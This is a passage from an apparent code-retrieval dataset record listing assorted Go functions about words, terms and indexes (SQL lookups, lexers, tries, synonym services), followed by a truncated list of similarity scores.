{\\n\\treturn tp.Add([]rune(word))\\n}\",\n \"func GetModelWord(dbConn *sql.DB, modelId int, langCode string) (*ModelWordMeta, error) {\\r\\n\\r\\n\\t// select model name and digest by id\\r\\n\\tmeta := &ModelWordMeta{}\\r\\n\\r\\n\\terr := SelectFirst(dbConn,\\r\\n\\t\\t\\\"SELECT model_name, model_digest FROM model_dic WHERE model_id = \\\"+strconv.Itoa(modelId),\\r\\n\\t\\tfunc(row *sql.Row) error {\\r\\n\\t\\t\\treturn row.Scan(&meta.ModelName, &meta.ModelDigest)\\r\\n\\t\\t})\\r\\n\\tswitch {\\r\\n\\tcase err == sql.ErrNoRows:\\r\\n\\t\\treturn nil, errors.New(\\\"model not found, invalid model id: \\\" + strconv.Itoa(modelId))\\r\\n\\tcase err != nil:\\r\\n\\t\\treturn nil, err\\r\\n\\t}\\r\\n\\r\\n\\t// make where clause parts:\\r\\n\\t// WHERE M.model_id = 1234 AND L.lang_code = 'EN'\\r\\n\\twhere := \\\" WHERE M.model_id = \\\" + strconv.Itoa(modelId)\\r\\n\\tif langCode != \\\"\\\" {\\r\\n\\t\\twhere += \\\" AND L.lang_code = \\\" + ToQuoted(langCode)\\r\\n\\t}\\r\\n\\r\\n\\t// select db rows from model_word\\r\\n\\terr = SelectRows(dbConn,\\r\\n\\t\\t\\\"SELECT\\\"+\\r\\n\\t\\t\\t\\\" M.model_id, M.lang_id, L.lang_code, M.word_code, M.word_value\\\"+\\r\\n\\t\\t\\t\\\" FROM model_word M\\\"+\\r\\n\\t\\t\\t\\\" INNER JOIN lang_lst L ON (L.lang_id = M.lang_id)\\\"+\\r\\n\\t\\t\\twhere+\\r\\n\\t\\t\\t\\\" ORDER BY 1, 2, 4\\\",\\r\\n\\t\\tfunc(rows *sql.Rows) error {\\r\\n\\r\\n\\t\\t\\tvar mId, lId int\\r\\n\\t\\t\\tvar lCode, wCode, wVal string\\r\\n\\t\\t\\tvar srcVal sql.NullString\\r\\n\\t\\t\\tif err := rows.Scan(&mId, &lId, &lCode, &wCode, &srcVal); err != nil {\\r\\n\\t\\t\\t\\treturn err\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tif srcVal.Valid {\\r\\n\\t\\t\\t\\twVal = srcVal.String\\r\\n\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\tfor k := range meta.ModelWord {\\r\\n\\t\\t\\t\\tif meta.ModelWord[k].LangCode == lCode {\\r\\n\\t\\t\\t\\t\\tmeta.ModelWord[k].Words[wCode] = wVal // append word (code,value) to existing language\\r\\n\\t\\t\\t\\t\\treturn nil\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\t// no such language: append new language and append word (code,value) to that language\\r\\n\\t\\t\\tidx := len(meta.ModelWord)\\r\\n\\t\\t\\tmeta.ModelWord = append(\\r\\n\\t\\t\\t\\tmeta.ModelWord, modelLangWord{LangCode: lCode, Words: make(map[string]string)})\\r\\n\\t\\t\\tmeta.ModelWord[idx].Words[wCode] = wVal\\r\\n\\r\\n\\t\\t\\treturn nil\\r\\n\\t\\t})\\r\\n\\tif err != nil {\\r\\n\\t\\treturn nil, err\\r\\n\\t}\\r\\n\\r\\n\\treturn meta, nil\\r\\n}\",\n \"func lexWord(l *reader) stateFn {\\ntop:\\n\\tswitch r := l.next(); {\\n\\tcase isPunctuation(r):\\n\\t\\tl.backup()\\n\\t\\tl.emit(itemWord)\\n\\tdefault:\\n\\t\\tgoto top\\n\\t}\\n\\treturn lexItem\\n}\",\n \"func (rf *Raft) getTermForIndex(index int) int {\\n\\tPanicIfF(index < rf.snapshotIndex, \\\"getTermForIndex: index to small: index=%d, snapshotIndex=%d\\\", index, rf.snapshotIndex)\\n\\tPanicIfF(index > rf.getLastIndex(), \\\"index > rf.getLastIndex()\\\")\\n\\n\\tif index == rf.snapshotIndex {\\n\\t\\treturn rf.snapshotTerm\\n\\t}\\n\\toffset := rf.getOffsetFromIndex(index)\\n\\tPanicIfF(offset >= len(rf.logs), \\\"offset{%d} >= len(rf.logs){%d}\\\", offset, len(rf.logs))\\n\\treturn rf.logs[offset].Term\\n}\",\n \"func (c *Client) SearchWord(word string) ([]string, error) {\\n\\ttrapdoors := c.indexer.ComputeTrapdoors(word)\\n\\tdocuments, err := c.searchCli.SearchWord(context.TODO(), trapdoors)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tfilenames := make([]string, len(documents))\\n\\tfor i, docID := range documents {\\n\\t\\tpathname, err := docIDToPathname(docID, c.pathnameKey)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tfilenames[i] = filepath.Join(c.directory, pathname)\\n\\t}\\n\\n\\tsort.Strings(filenames)\\n\\treturn filenames, nil\\n}\",\n \"func Lookup(name string) string {\\n\\treturn index[name]\\n}\",\n \"func getTextByIndex(myText string) byte {\\n\\t//\\n\\tvar textIndex byte = myText[0]\\n\\treturn textIndex \\n}\",\n \"func (t *trs80) writeWord(w *scottpb.Word) {\\n\\tif w.Synonym {\\n\\t\\tfmt.Fprintf(t.out, \\\"\\\\\\\"*%s\\\\\\\"\\\\n\\\", w.Word)\\n\\t} else {\\n\\t\\tfmt.Fprintf(t.out, \\\"\\\\\\\"%s\\\\\\\"\\\\n\\\", w.Word)\\n\\t}\\n}\",\n \"func GetWordByDate(w http.ResponseWriter, r *http.Request) {\\n\\tword := scraper.ScrapeTodayWord(time.Now())\\n\\tServeJson(&w, r, word)\\n}\",\n \"func GetWordToday(w http.ResponseWriter, r *http.Request) {\\n\\tword := scraper.ScrapeTodayWord(time.Now())\\n\\tServeJson(&w, r, word)\\n}\",\n \"func (ss *SharedStrings) get(index int) *ml.StringItem {\\n\\tss.file.LoadIfRequired(ss.afterLoad)\\n\\n\\tif index < len(ss.ml.StringItem) {\\n\\t\\treturn ss.ml.StringItem[index]\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func nextWord(current wncRow, userFrag, roomFrag qFrag) wncRow {\\n\\tsqlbuf := bytes.NewBufferString(\\\"SELECT word,next,count FROM blabberwords WHERE word=? \\\")\\n\\tparams := []interface{}{current.next}\\n\\n\\tif !userFrag.empty {\\n\\t\\tsqlbuf.WriteString(\\\" AND \\\")\\n\\t\\tsqlbuf.WriteString(userFrag.sql)\\n\\t\\tparams = append(params, userFrag.params...)\\n\\t}\\n\\n\\tif !roomFrag.empty {\\n\\t\\tsqlbuf.WriteString(\\\" AND \\\")\\n\\t\\tsqlbuf.WriteString(roomFrag.sql)\\n\\t\\tparams = append(params, roomFrag.params...)\\n\\t}\\n\\n\\trows := getRows(sqlbuf.String(), params)\\n\\n\\tif len(rows) == 0 {\\n\\t\\tlog.Printf(\\\"blabber.nextWord got 0 rows, returning empty row\\\")\\n\\t\\treturn wncRow{\\\"\\\", \\\"\\\", 0}\\n\\t}\\n\\n\\tidx := rand.Intn(len(rows) - 1)\\n\\treturn rows[idx]\\n}\",\n \"func parseWord(data []byte) (word, rest []byte) {\\n\\tdata = skipSpaceOrComment(data)\\n\\n\\t// Parse past leading word characters.\\n\\trest = data\\n\\tfor {\\n\\t\\tr, size := utf8.DecodeRune(rest)\\n\\t\\tif unicode.IsLetter(r) || '0' <= r && r <= '9' || r == '_' {\\n\\t\\t\\trest = rest[size:]\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tbreak\\n\\t}\\n\\n\\tword = data[:len(data)-len(rest)]\\n\\tif len(word) == 0 {\\n\\t\\treturn nil, nil\\n\\t}\\n\\n\\treturn word, rest\\n}\",\n \"func Wordmap(word string) {\\n\\n\\tlistOfLines := reuse.ReadLineByLineFromFile(\\\"iq/text.dat\\\")\\n\\n\\t// map of word\\n\\tmapW := make(map[string][]structLoc)\\n\\n\\tfor i, line := range listOfLines {\\n\\n\\t\\tpattern := \\\"[\\\\\\\\/\\\\\\\\:\\\\\\\\,\\\\\\\\.\\\\\\\\s]+\\\"\\n\\t\\tlistOfwords := reuse.Tokenize(line,pattern)\\n\\n\\t\\tfor _, word := range listOfwords {\\n\\t\\t\\tindices := reuse.GetColPos(line, word)\\n\\n\\t\\t\\tif mapW[word] == nil {\\n\\t\\t\\t\\tarrStructLoc := make([]structLoc, 0)\\n\\t\\t\\t\\tarrStructLoc = addToArrStructLoc(i, indices, arrStructLoc)\\n\\t\\t\\t\\tmapW[word] = arrStructLoc\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tarrStructLoc := mapW[word]\\n\\t\\t\\t\\tarrStructLoc = addToArrStructLoc(i, indices, arrStructLoc)\\n\\t\\t\\t\\tmapW[word] = arrStructLoc\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tfmt.Println(mapW[word])\\n}\",\n \"func (f *Forth) compileWord(token string) error {\\n\\tw := word{func(f *Forth) error { return nil }, \\\"\\\"}\\n\\tf.dict[strings.ToLower(token)] = w\\n\\treturn nil\\n}\",\n \"func EvaluateWord(text string, matter string) (word model.Word) {\\n\\ttext = strings.ToLower(strings.Replace(text, \\\" \\\", \\\"\\\", -1))\\n\\tword.Length = len(text)\\n\\tword.Text = text\\n\\tword.Matter.Name = matter\\n\\treturn\\n}\",\n \"func GetHashTableIndex(word string) int {\\n\\tprimoRangeRX := regexp.MustCompile(\\\"^[a-i]{1}\\\")\\n\\tsecondoRangeRX := regexp.MustCompile(\\\"^[j-r]{1}\\\")\\n\\tterzoRangeRX := regexp.MustCompile(\\\"^[s-z]{1}\\\")\\n\\n\\tswitch {\\n\\tcase primoRangeRX.MatchString(word):\\n\\t\\treturn 0\\n\\tcase secondoRangeRX.MatchString(word):\\n\\t\\treturn 1\\n\\tcase terzoRangeRX.MatchString(word):\\n\\t\\treturn 2\\n\\t}\\n\\treturn -1\\n}\",\n \"func (service *SynonymService) EditWord(word vm.Word, replacement vm.Word) (*[]vm.Word, int) {\\n\\n\\t// Lock map for cocurent access , and unlock it after operation is complete\\n\\tservice.mu.Lock()\\n\\tdefer service.mu.Unlock()\\n\\n\\t//Check if new word aready exists\\n\\tif _, ok := service.Synonyms[replacement.Word]; ok {\\n\\t\\treturn nil, status.ErrorSynonymAllreadyEsists\\n\\t}\\n\\n\\t// Check if word already exists\\n\\tif val, ok := service.Synonyms[word.Word]; ok {\\n\\n\\t\\tfor i, existingWord := range *val {\\n\\n\\t\\t\\tif existingWord.Word == word.Word {\\n\\t\\t\\t\\t(*val)[i].Word = replacement.Word\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tservice.Synonyms[replacement.Word] = val\\n\\t\\tdelete(service.Synonyms, word.Word)\\n\\n\\t\\treturn val, 0\\n\\n\\t}\\n\\n\\treturn nil, status.ErrorWordDoesNotExist\\n}\",\n \"func (f *Faker) Word() string { return word(f.Rand) }\",\n \"func TranslateWord(word string) (string, error) {\\n\\t// If no word is supplied, return an error\\n\\tif len(word) < 1 {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"no word specified\\\")\\n\\t}\\n\\n\\t// The word starts with a vowel letter\\n\\tif isLetterVowel(rune(word[0])) {\\n\\t\\treturn \\\"g\\\" + word, nil\\n\\t}\\n\\n\\t// The word starts with \\\"xr\\\"\\n\\tif len(word) > 2 && word[:2] == \\\"xr\\\" {\\n\\t\\treturn \\\"ge\\\" + word, nil\\n\\t}\\n\\n\\t// The word starts with a consonant letter, followed by \\\"qu\\\"\\n\\tif len(word) > 3 && isLetterConsonant(rune(word[0])) && word[1:3] == \\\"qu\\\" {\\n\\t\\treturn word[3:] + word[:3] + \\\"ogo\\\", nil\\n\\t}\\n\\n\\t// The word starts with a consonant sound\\n\\tif isLetterConsonant(rune(word[0])) && isLetterConsonant(rune(word[1])) {\\n\\t\\tif len(word) == 2 {\\n\\t\\t\\treturn string(word[1]) + string(word[0]) + \\\"ogo\\\", nil\\n\\t\\t}\\n\\n\\t\\tindex := findFirstVowelIndex(word)\\n\\n\\t\\treturn word[index:] + word[:index] + \\\"ogo\\\", nil\\n\\t}\\n\\n\\treturn word, nil\\n}\",\n \"func (g *Goi18n) GetLangByIndex(index int) string {\\n\\tif index < 0 || index >= len(g.langs) {\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\tg.mu.RLock()\\n\\tdefer g.mu.RUnlock()\\n\\treturn g.langs[index]\\n}\",\n \"func (l *SLexicon) GetSemantic(word string) string {\\n\\tl.Lock() // one at a time\\n\\tdefer l.Unlock()\\n\\n\\tif val, ok := l.Semantic[word]; ok { // non case sensitive first\\n\\t\\treturn val\\n\\t}\\n\\tlwrStr := strings.ToLower(word)\\n\\tstemmedWord := l.GetStem(lwrStr)\\n\\tif val, ok := l.Semantic[stemmedWord]; ok {\\n\\t\\treturn val\\n\\t}\\n\\treturn \\\"\\\"\\n}\",\n \"func (st *SlimTrie) Get(key string) (eqVal interface{}, found bool) {\\n\\n\\tvar word byte\\n\\tfound = false\\n\\teqID := int32(0)\\n\\n\\t// string to 4-bit words\\n\\tlenWords := 2 * len(key)\\n\\n\\tfor idx := -1; ; {\\n\\n\\t\\tbm, rank, hasInner := st.Children.GetWithRank(eqID)\\n\\t\\tif !hasInner {\\n\\t\\t\\t// maybe a leaf\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\tstep, foundstep := st.Steps.Get(eqID)\\n\\t\\tif foundstep {\\n\\t\\t\\tidx += int(step)\\n\\t\\t} else {\\n\\t\\t\\tidx++\\n\\t\\t}\\n\\n\\t\\tif lenWords < idx {\\n\\t\\t\\teqID = -1\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\tif lenWords == idx {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\t// Get a 4-bit word from 8-bit words.\\n\\t\\t// Use arithmetic to avoid branch missing.\\n\\t\\tshift := 4 - (idx&1)*4\\n\\t\\tword = ((key[idx>>1] >> uint(shift)) & 0x0f)\\n\\n\\t\\tbb := uint64(1) << word\\n\\t\\tif bm&bb != 0 {\\n\\t\\t\\tchNum := bits.OnesCount64(bm & (bb - 1))\\n\\t\\t\\teqID = rank + 1 + int32(chNum)\\n\\t\\t} else {\\n\\t\\t\\teqID = -1\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif eqID != -1 {\\n\\t\\teqVal, found = st.Leaves.Get(eqID)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func getSword() int {\\r\\n var w int\\r\\n if fileDataPos >= len(fileData) {\\r\\n return 65536\\r\\n }\\r\\n w = int(fileData[fileDataPos])\\r\\n fileDataPos++\\r\\n w += (int(fileData[fileDataPos]) * 0x100)\\r\\n fileDataPos++\\r\\n if (w & 0x8000) != 0 {\\r\\n return -(32768 - (w & 0x7FFF))\\r\\n }\\r\\n return w\\r\\n}\",\n \"func (w Word) WordString() string {\\n\\tphoneList := w.PhoneList()\\n\\tvar buffer bytes.Buffer\\n\\tvar phone Phone\\n\\n\\tfor len(phoneList) > 0 {\\n\\t\\tphone, phoneList = phoneList[0], phoneList[1:]\\n\\t\\tbuffer.WriteString(string(phone.Char()))\\n\\t}\\n\\n\\treturn buffer.String()\\n}\",\n \"func (self *T) mWORD() {\\r\\n \\r\\n \\r\\n\\t\\t_type := T_WORD\\r\\n\\t\\t_channel := antlr3rt.DEFAULT_TOKEN_CHANNEL\\r\\n\\t\\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:5: ( ( 'a' .. 'z' | 'A' .. 'Z' )+ )\\r\\n\\t\\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:7: ( 'a' .. 'z' | 'A' .. 'Z' )+\\r\\n\\t\\t{\\r\\n\\t\\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:7: ( 'a' .. 'z' | 'A' .. 'Z' )+\\r\\n\\t\\tcnt1 := 0\\r\\n\\t\\tloop1:\\r\\n\\t\\tfor {\\r\\n\\t\\t alt1 := 2\\r\\n\\t\\t LA1_0 := (*self.Input()).LA(1)\\r\\n\\r\\n\\t\\t if ( ((LA1_0 >= 'A' && LA1_0 <= 'Z')||(LA1_0 >= 'a' && LA1_0 <= 'z')) ) {\\r\\n\\t\\t alt1=1\\r\\n\\t\\t }\\r\\n\\r\\n\\r\\n\\t\\t switch (alt1) {\\r\\n\\t\\t\\tcase 1 :\\r\\n\\t\\t\\t // C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:\\r\\n\\t\\t\\t {\\r\\n\\t\\t\\t if ((*self.Input()).LA(1) >= 'A' && (*self.Input()).LA(1)<='Z')||((*self.Input()).LA(1) >= 'a' && (*self.Input()).LA(1)<='z') {\\r\\n\\t\\t\\t (*self.Input()).Consume()\\r\\n\\t\\t\\t } else {\\r\\n\\t\\t\\t panic( &antlr3rt.MismatchedTokenException{} )\\r\\n\\t\\t\\t }\\r\\n\\r\\n\\r\\n\\t\\t\\t }\\r\\n\\r\\n\\t\\t \\r\\n\\t\\t\\tdefault :\\r\\n\\t\\t\\t if cnt1 >= 1 {\\r\\n\\t\\t\\t break loop1;\\r\\n\\t\\t\\t }\\r\\n\\t\\t panic( &antlr3rt.EarlyExitException{} )\\r\\n\\t\\t }\\r\\n\\t\\t cnt1++;\\r\\n\\t\\t}\\r\\n\\r\\n\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tself.State().SetType( _type )\\r\\n\\t\\tself.State().SetChannel( _channel )\\r\\n}\",\n \"func searchWord(root *TrieNode, word string) map[int]bool {\\n ret := make(map[int]bool)\\n for i := len(word)-1; i>=0; i-- {\\n if root.idx != -1 && isPalindrome(word[:i+1]) {\\n ret[root.idx] = true\\n }\\n offset := word[i]-'a'\\n if root.nodes[offset] == nil {\\n return ret\\n }\\n root = root.nodes[offset]\\n }\\n for k, _ := range root.match {\\n ret[k] = true\\n }\\n return ret\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n \\n}\",\n \"func GenWord() string {\\n\\tcount := 1000\\n\\tresult := \\\"\\\"\\n\\tfor i := 0; i < count; i++ {\\n\\t\\tresult += \\\" Hello world!....\\\\n\\\"\\n\\t}\\n\\n\\treturn result\\n}\",\n \"func (t *Tokeniser) checkWord(word string) (int, bool) {\\n\\tcurrInput := t.Input[t.pos:]\\n\\tif !strings.HasPrefix(currInput, word) {\\n\\t\\treturn 0, false\\n\\t}\\n\\treturn len(word), true\\n}\",\n \"func isWord(txt string, i, n int) bool {\\n\\tif i == 0 {\\n\\t\\treturn !syntax.IsWordChar(rune(txt[n+1]))\\n\\t} else if n == len(txt)-1 {\\n\\t\\treturn !syntax.IsWordChar(rune(txt[i-1]))\\n\\t}\\n\\treturn !syntax.IsWordChar(rune(txt[i-1])) && !syntax.IsWordChar(rune(txt[n+1]))\\n}\",\n \"func wordDetail(w http.ResponseWriter, r *http.Request) {\\n\\tif config.PasswordProtected() {\\n\\t\\tctx := context.Background()\\n\\t\\tsessionInfo := b.sessionEnforcer.EnforceValidSession(ctx, w, r)\\n\\t\\tif !sessionInfo.Valid {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Printf(\\\"main.wordDetail path: %s\\\", r.URL.Path)\\n\\thwId, err := getHeadwordId(r.URL.Path)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"main.wordDetail headword not found: %v\\\", err)\\n\\t\\thttp.Error(w, \\\"Not found\\\", http.StatusNotFound)\\n\\t\\treturn\\n\\t}\\n\\tif hw, ok := b.dict.HeadwordIds[hwId]; ok {\\n\\t\\ttitle := b.webConfig.GetVarWithDefault(\\\"Title\\\", defTitle)\\n\\t\\tmatch := b.webConfig.GetVar(\\\"NotesReMatch\\\")\\n\\t\\treplace := b.webConfig.GetVar(\\\"NotesReplace\\\")\\n\\t\\tprocessor := dictionary.NewNotesProcessor(match, replace)\\n\\t\\tword := processor.Process(*hw)\\n\\t\\tcontent := htmlContent{\\n\\t\\t\\tTitle: title,\\n\\t\\t\\tData: struct {\\n\\t\\t\\t\\tWord dicttypes.Word\\n\\t\\t\\t}{\\n\\t\\t\\t\\tWord: word,\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\tb.pageDisplayer.DisplayPage(w, \\\"word_detail.html\\\", content)\\n\\t\\treturn\\n\\t}\\n\\n\\tmsg := fmt.Sprintf(\\\"Not found: %d\\\", hwId)\\n\\thttp.Error(w, msg, http.StatusNotFound)\\n}\",\n \"func JumpWordBackward(b *novi.Buffer, c *novi.Cursor) (int, int) {\\n\\treturn JumpAlNumSepBackward(b, c, true)\\n}\",\n \"func (pma *PMA) MatchWord(input string) []Match {\\n\\treturn pma.Match([]rune(input))\\n}\",\n \"func (a *ALU) PopWord() uint16 {\\n\\tret := uint16(a.InternalRAM[a.StackPtr]) << 8\\n\\tret = ret | uint16(a.InternalRAM[a.StackPtr-1])\\n\\ta.StackPtr -= 2\\n\\treturn ret\\n}\",\n \"func Word() string { return word(globalFaker.Rand) }\",\n \"func (d *babbleDictionary) GetWordList() []string {\\n\\treturn d.sourceList\\n}\",\n \"func (d *dictionary) add(word string) tokenID {\\n\\tif idx := d.getIndex(word); idx != unknownIndex {\\n\\t\\treturn idx\\n\\t}\\n\\t// token IDs start from 1, 0 is reserved for the invalid ID\\n\\tidx := tokenID(len(d.words) + 1)\\n\\td.words[idx] = word\\n\\td.indices[word] = idx\\n\\treturn idx\\n}\",\n \"func newWord(vm *VM, sym string) cell {\\n\\treturn newCell(ptr(vm.getSymbolID(sym)), 0, WordType)\\n}\",\n \"func Getw(bm []uint64, i int32, w int32) uint64 {\\n\\ti *= w\\n\\treturn (bm[i>>6] >> uint(i&63)) & Mask[w]\\n}\",\n \"func getDword() int {\\r\\n var dw int\\r\\n \\r\\n dw = int(fileData[fileDataPos])\\r\\n dw += (int(fileData[fileDataPos+1]) * 0x100)\\r\\n dw += (int(fileData[fileDataPos+2]) * 0x10000)\\r\\n dw += (int(fileData[fileDataPos+3]) * 0x1000000)\\r\\n fileDataPos += 4\\r\\n return dw\\r\\n}\",\n \"func (m Model) AddWord(word string) *Word {\\n\\tw := Word{Word: word}\\n\\tif _, err := m.PG.Model(&w).Where(\\\"word = ?\\\", word).SelectOrInsert(); err != nil {\\n\\t\\tlog.Printf(\\\"failed select or insert word \\\\\\\"%s\\\\\\\", message: %s\\\", word, err)\\n\\t}\\n\\tlog.Printf(\\\"processed word \\\\\\\"%s\\\\\\\"\\\", word)\\n\\treturn &w\\n}\",\n \"func (wd Word) RetrieveWordByID(ctx context.Context, w http.ResponseWriter, r *http.Request) error {\\n\\n\\t_id := chi.URLParam(r, \\\"_id\\\")\\n\\n\\twordFound, err := word.RetrieveWordByID(ctx, wd.DB, _id)\\n\\tif err != nil {\\n\\t\\tswitch err {\\n\\t\\tcase apierror.ErrNotFound:\\n\\t\\t\\treturn web.NewRequestError(err, http.StatusNotFound)\\n\\t\\tcase apierror.ErrInvalidID:\\n\\t\\t\\treturn web.NewRequestError(err, http.StatusBadRequest)\\n\\t\\tdefault:\\n\\t\\t\\treturn errors.Wrapf(err, \\\"looking for word %q\\\", _id)\\n\\t\\t}\\n\\t}\\n\\n\\treturn web.Respond(ctx, w, wordFound, http.StatusOK)\\n}\",\n \"func ExampleTerm_Get() {\\n\\t// Fetch the row from the database\\n\\tres, err := DB(\\\"examples\\\").Table(\\\"heroes\\\").Get(2).Run(session)\\n\\tif err != nil {\\n\\t\\tfmt.Print(err)\\n\\t\\treturn\\n\\t}\\n\\tdefer res.Close()\\n\\n\\tif res.IsNil() {\\n\\t\\tfmt.Print(\\\"Row not found\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tvar hero map[string]interface{}\\n\\terr = res.One(&hero)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"Error scanning database result: %s\\\", err)\\n\\t\\treturn\\n\\t}\\n\\tfmt.Print(hero[\\\"name\\\"])\\n\\n\\t// Output: Superman\\n}\",\n \"func Word() string{\\n\\tword := make([]uint8, rand.Intn(100) + 1) //Generate the character base array\\n\\tfor i := 0; i < len(word); i++ {\\n\\t\\tword[i] = Char()//Generate every character\\n\\t}\\n\\treturn string(word)\\n}\",\n \"func getWords() map[string]int {\\n\\n\\treader := r.NewReader(os.Stdin)\\n\\n\\twords := make(map[string]int)\\n\\n\\tfor {\\n\\t\\tf.Println(\\\"-----\\\")\\n\\t\\tf.Println(\\\"Current words are:\\\")\\n\\t\\tif len(words) > 0 {\\n\\t\\t\\tfor k, v := range words {\\n\\t\\t\\t\\tf.Printf(\\\"%q = %v\\\\n\\\", k, v)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tf.Println(\\\"No words\\\")\\n\\t\\t}\\n\\t\\tf.Println()\\n\\t\\tf.Println(\\\"Enter - Finish updating words\\\")\\n\\t\\tf.Println(\\\"Add - Add a word\\\")\\n\\t\\tf.Println(\\\"Mod - Change a word value\\\")\\n\\t\\tf.Println(\\\"Del - Remove a word\\\")\\n\\n\\t\\ttext, _ := reader.ReadString('\\\\n')\\n\\t\\tcmd := ss.ToLower(ss.Replace(text, \\\"\\\\n\\\", \\\"\\\", -1))\\n\\n\\t\\tswitch cmd {\\n\\t\\tcase \\\"\\\":\\n\\t\\t\\treturn words\\n\\t\\tcase \\\"add\\\":\\n\\t\\t\\taddWord(words)\\n\\t\\tcase \\\"mod\\\":\\n\\t\\t\\tmodWords(words)\\n\\t\\tcase \\\"del\\\":\\n\\t\\t\\tdelWords(words)\\n\\t\\tdefault:\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t}\\n}\",\n \"func (w *Writer) WriteWord(word string) {\\n\\tw.writeBytes([]byte(word))\\n}\",\n \"func (e Es) GetDocument(index string, docType string, id string) (string, error) {\\n\\tbody, err := e.getJSON(fmt.Sprintf(\\\"/%s/%s/%s\\\", index, docType, id))\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\terr = checkError(body)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Index %s failed: %s\\\", index, err.Error())\\n\\t}\\n\\n\\tresult, err := utils.MapToYaml(body)\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn result, nil\\n}\",\n \"func (service *SynonymService) GetSynonyms(word vm.Word) ([]vm.Word, int) {\\n\\n\\t// Lock map for cocurent access , and unlock it after operation is complete\\n\\tservice.mu.Lock()\\n\\tdefer service.mu.Unlock()\\n\\t// Check if word already exists\\n\\tif val, ok := service.Synonyms[word.Word]; ok {\\n\\n\\t\\treturn *val, 0\\n\\n\\t}\\n\\n\\treturn nil, status.ErrorWordDoesNotExist\\n\\n}\",\n \"func get_meaning(word string) []byte {\\n\\tvar meanings []string\\n\\ttime.Sleep(1000 * time.Millisecond)\\n\\tdoc, err := goquery.NewDocument(\\\"http://ejje.weblio.jp/content/\\\" + word)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tdoc.Find(\\\".level0\\\").Each(func(i int, s *goquery.Selection) {\\n\\t\\tmeanings = append(meanings, s.Text())\\n\\t})\\n\\n\\tmeaning := strings.Join(meanings, \\\",\\\")\\n\\n\\treturn []byte(word + \\\"\\\\t\\\" + meaning + \\\"\\\\n\\\")\\n}\",\n \"func (service *SynonymService) GetWords() ([]vm.Word, error) {\\n\\n\\t// Lock map for cocurent access , and unlock it after operation is complete\\n\\tservice.mu.Lock()\\n\\tdefer service.mu.Unlock()\\n\\twords := make([]vm.Word, 0)\\n\\t// Check if word already exists\\n\\tfor k := range service.Synonyms {\\n\\t\\twords = append(words, vm.Word{Word: k})\\n\\t}\\n\\treturn words, nil\\n\\n}\",\n \"func (t *Trie) find(word string) *node {\\n\\tchars := t.toChars(word)\\n\\tr := t.root\\n\\tfor i := 0; i < len(chars); i++ {\\n\\t\\tif _, ok := r.children[chars[i]]; !ok {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tr = r.children[chars[i]]\\n\\t\\tif i == len(chars)-1 {\\n\\t\\t\\treturn r\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (impl *Impl) ExtractIndexableWords() []string {\\n\\tw := make([]string, 0, 20)\\n\\tw = append(w, fmt.Sprintf(\\\"%d\\\", impl.Id))\\n\\tw = append(w, strings.ToLower(impl.LanguageName))\\n\\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\\n\\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\\n\\tif len(impl.AuthorComment) >= 3 {\\n\\t\\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\\n\\t}\\n\\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\\n\\t\\tw = append(w, langExtras...)\\n\\t}\\n\\t// Note: we don't index external URLs.\\n\\treturn w\\n}\",\n \"func (r Replicator) Get_Term() int {\\n\\treturn r.currentTerm\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.80988747","0.69863695","0.68881804","0.68726754","0.6871206","0.6835941","0.6779137","0.67493546","0.668638","0.6423421","0.62679845","0.6260439","0.5951865","0.58868194","0.5814742","0.5802234","0.5717186","0.5684572","0.5655523","0.5647893","0.56158155","0.5603246","0.5587167","0.55366117","0.5513456","0.55026656","0.5413751","0.54109925","0.53940743","0.5386412","0.53851384","0.537606","0.53545105","0.5353563","0.52999264","0.52856326","0.52754647","0.52736026","0.52682686","0.5257012","0.52517015","0.5249117","0.5240921","0.5227747","0.5214026","0.5207246","0.5201766","0.5199724","0.5180926","0.5161476","0.5147678","0.5127769","0.5125117","0.51145536","0.5113862","0.50942653","0.50818276","0.50678426","0.5062462","0.50616634","0.50517046","0.50452775","0.5044427","0.5040723","0.50371945","0.5033973","0.5033169","0.50241524","0.5019379","0.5017773","0.